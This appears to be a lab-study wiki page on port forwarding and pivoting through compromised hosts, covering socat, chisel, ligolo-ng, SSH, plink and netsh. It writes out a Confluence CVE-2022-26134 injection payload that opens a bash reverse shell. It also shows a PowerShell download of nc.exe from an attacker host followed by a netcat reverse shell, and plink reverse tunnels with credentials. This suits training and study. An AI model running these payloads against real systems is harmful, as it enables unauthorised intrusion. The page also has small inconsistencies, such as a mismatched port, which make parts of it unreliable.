Port Foward

Port forwarding is a technique where a host listens on one port and relays traffic to another destination. It’s commonly used for:

  • Allowing access to internal services from external networks.

  • Home routers directing specific traffic (e.g. gaming, remote access).

  • Attackers bypassing segmentation by routing traffic through a compromised host (pivot point).

Linux

In this scenario:

  • Attacker (Kali): On the WAN.

  • Target Web Server (CONFLUENCE01): Exposed to the WAN and connected to a DMZ.

  • Internal Database (PGDATABASE01): In DMZ, not directly reachable from Kali.

A Wide Area Network (WAN) represents a large or public network, while a Demilitarized Zone (DMZ) acts as a buffer zone between a less trusted network and internal systems. Since Kali can’t directly access the DMZ, we'll need to leverage CONFLUENCE01’s dual-network position to reach PGDATABASE01.

After exploiting a vulnerable Confluence instance (CVE-2022-26134) we gain a reverse shell on CONFLUENCE01. and enumerate its position on the network.

# payload from Kali exploiting CONFLUENCE01
$ curl http://192.168.185.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.236/4444%200%3E%261%27%29.start%28%29%22%29%7D/

Socat

Socat is a powerful command-line utility for bidirectional data transfer between two data channels. In this case, we use it to forward TCP connections from one network interface on a compromised host to a service on a different network that’s otherwise unreachable.

Recap

  1. We obtained a reverse shell on CONFLUENCE01 and we can execute commands as the limited confluence user.

  2. We identified that it has:

    1. A WAN interface (192.168.50.63) that our Kali machine can reach

    2. A DMZ interface (10.4.50.63) that can reach PGDATABASE01 at 10.4.50.215:5432

  3. CONFLUENCE01 does not have (and we can't install) the tools needed (e.g. psql) to access the database server on PGDATABASE01.

Since we can’t install new software on CONFLUENCE01 and PGDATABASE01 isn’t accessible directly from our Kali machine, we can leverage socat to create a TCP port forward.

  • Listen on a chosen TCP port (e.g., 2345) on CONFLUENCE01’s WAN-facing interface.

  • Forward any connections received on this port to 10.4.50.215:5432 on the DMZ side.

On CONFLUENCE01, we'll start a verbose (-ddd) Socat process. It will listen on TCP port 2345 (TCP-LISTEN:2345), fork into a new subprocess when it receives a connection (fork) instead of dying after a single connection, then forward all traffic it receives to TCP port 5432 on PGDATABASE01 (TCP:10.4.50.215:5432).

# from CONFLUENCE01
confluence@confluence01:/opt/atlassian/confluence/bin$ socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

Once this forward is active:

  1. From our Kali machine on the WAN, we connect to 192.168.50.63:2345.

  2. Socat relays this traffic internally from CONFLUENCE01 to 10.4.50.215:5432.

  3. From our perspective, it’s as though the PostgreSQL service is directly accessible at 192.168.50.63:5433.

# from Kali
$ psql -h 192.168.50.63 -p 2345 -U postgres

After some more enumeration of the internal network, we'll find PGDATABASE01 is also running an SSH server, so we can check for password reuse. We can kill the original Socat process listening on port 2345 and create a port forward on CONFLUENCE01 that will allow us to SSH directly from our Kali machine to PGDATABASE01.

# from CONFLUENCE01
confluence@confluence01:/opt/atlassian/confluence/bin$ socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

In addition to classic utilities like socat, modern red teams and penetration testers often turn to newer tools built for better performance, stealth, and encryption. Two widely used tools in this category are chisel and ligolo-ng. Both simplify pivoting and port forwarding tasks, often in environments where direct connections are blocked by network segmentation or firewall rules. We’ll revisit our original scenario, substituting socat with these tools.

Chisel

Chisel is a fast, cross-platform, single-binary tool for tunneling TCP/UDP over HTTP or WebSockets. It can perform normal and reverse port forwarding and is a lightweight choice for pivoting through segmented environments.

# start the Chisel server on Kali for reverse port forwarding
$ ./chisel server -p 8000 --reverse
2025/04/18 10:18:22 server: Reverse tunnelling enabled
2025/04/18 10:18:22 server: Fingerprint xRAO8aEIJ4Yd+Zm6pujfez/GSR0wCmGm/CN59cFrQ6w=
2025/04/18 10:18:22 server: Listening on http://0.0.0.0:8000

Common Issues

System architecture and binary mismatch. Check if your binary matches system architecture:

$ file chisel
chisel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=88c20c821c78ce72978e923ca64cc302b01c10a8, for GNU/Linux 3.2.0, stripped

$ uname -m
x86_64

Ligolo-NG

Ligolo-NG is a modern, agent-based tunneling utility for secure pivoting that establishes reverse TCP/TLS connections using a TUN interface, effectively creating a lightweight userland VPN for interactive pivoting and port forwarding — without relying on SOCKS proxies.

$ sudo ligolo-proxy -selfcert
...
INFO[0000] Listening on 0.0.0.0:11601
...
ligolo-ng » interface_create --name "port_forward"
INFO[0012] Creating a new "port_forward" interface...
INFO[0012] Interface created!

Tool Comparison

Tool
Setup Complexity
Stealth
Encryption
Port Forward
SOCKS Proxy
Notes

Socat

Low

Medium

No

✔️

❌

Classic and reliable

Chisel

Medium

High

Optional (HTTPS)

✔️

❌

HTTP/WebSocket tunnels

Ligolo-NG

Medium-High

High

✔️

✔️

✔️

Agent-based pivoting

Windows

SSH

On Windows versions with SSH installed, the ssh-* utilities can be found in %systemdrive%\Windows\System32\OpenSSH. Our scenario:

  • We have RDP access to MULTISERVER03 (198.168.177.64).

  • We need to pivot into the internal network to reach services like PostgreSQL on PGDATABASE01 (10.4.177.215).

  • Direct outbound connections from Kali to internal targets are blocked.

  • Only RDP is allowed into MULTISERVER03.

Start zn SSH server on Kali and RDP into MULTISERVER03.

# ssh server on Kali
$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.

# RDP to MULT03
$ xfreerdp /u:rdp_admin /p:'P@ssw0rd!' /v:192.168.177.64

Plink

OpenSSH might be intentionally removed from Windows machines, but other remote tools might be available. Plink is PuTTY's CLI version. On this scenario:

  • MULTISERVER03 (192.168.177.64) has TCP port 80 exposed.

  • All other inbound ports are blocked (no RDP).

  • MULTISERVER03 is compromised and we got a webshell at /umbraco/forms.aspx.

We will first need to make sure that our SSH server is configured appropriately, i.e., the GatewayPorts and AllowTcpForwarding settings are set to yes. If there aren't and we change them, we will need to restart ssh for the changes to take place.

# Check SSH configuration
$ cat /etc/ssh/sshd_config | grep GatewayPorts
GatewayPorts yes
$ cat /etc/ssh/sshd_config | grep AllowTcpForwarding
AllowTcpForwarding yes
# Restart SSH service
$ sudo service ssh restart

Send a reverse shell to Kali through the web shell on MULTISERVER03:80.

# transfer binary
powershell wget -uri http://192.168.45.235/nc.exe -O c:\windows\temp\nc.exe

# send reverse shell
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.45.235 4444

When we want to use plink within a non-interactive session, e.g. WinRM, which prevents us from answering the ssh prompts, including trusting our ssh hostkey, we need pass the command's arguments are a list:

*Evil-WinRM* PS C:\Users\apache.ERA\Documents> Start-Process .\plink.exe -ArgumentList '-R 33060:127.0.0.1:3306', 'x7331@192.168.45.157', '-pw', 'kali', '-batch', '-hostkey', '"ssh-ed25519 255 SHA256:12ofigkgaUScFuNMCS/+bKdRsfu0rvILCdF+P8OzsH4"' -NoNewWindow

We can also automate SSH client key acceptance in non-TTY shells on Windows using Plink with cmd.exe /c echo y | plink.exe, bypassing manual prompts.

cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw kali -R 127.0.0.1:9833:127.0.0.1:3389 192.168.45.235

Netsh

Network Shell (netsh) is a native Windows tool use to configure network settings, including port forwarding via portproxy within the interface context.

The netsh interface portproxy command requires admin rights, so UAC may block changes in some cases. In this example, we’re using an admin RDP session, so UAC isn’t an issue.

In our scenario:

  • MULTISERVER03 (192.168.246.64) has TCP ports 80 and 3389 open.

  • CONFLUENCE01 (192.168.246.63) isn't accessible on the WAN interface.

  • MULTISERVER03 allows all outbound traffic.

Our aim is to SSH directly from Kali to PGDATABASE01 (10.4.246.125) by creating a port forward on MULTISERVER03.

RDP directly into MULTISERVER03 from Kali.

$ xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.246.64

The nmap results shows port 2222 as filtered, which probably means that Windows Firewall blocks inbound connections to this port.

$ sudo nmap -T4 -Pn -p2222 192.168.246.64
...

PORT     STATE    SERVICE
2222/tcp filtered EtherNetIP-1

Note: There is no PowerShell equivalent for netsh interface portproxy. However, Firewall management has PowerShell cmdlets (New-NetFirewallRule, etc.).

PreviousSshuttleNextSSH Tunelling

Last updated

Was this helpful?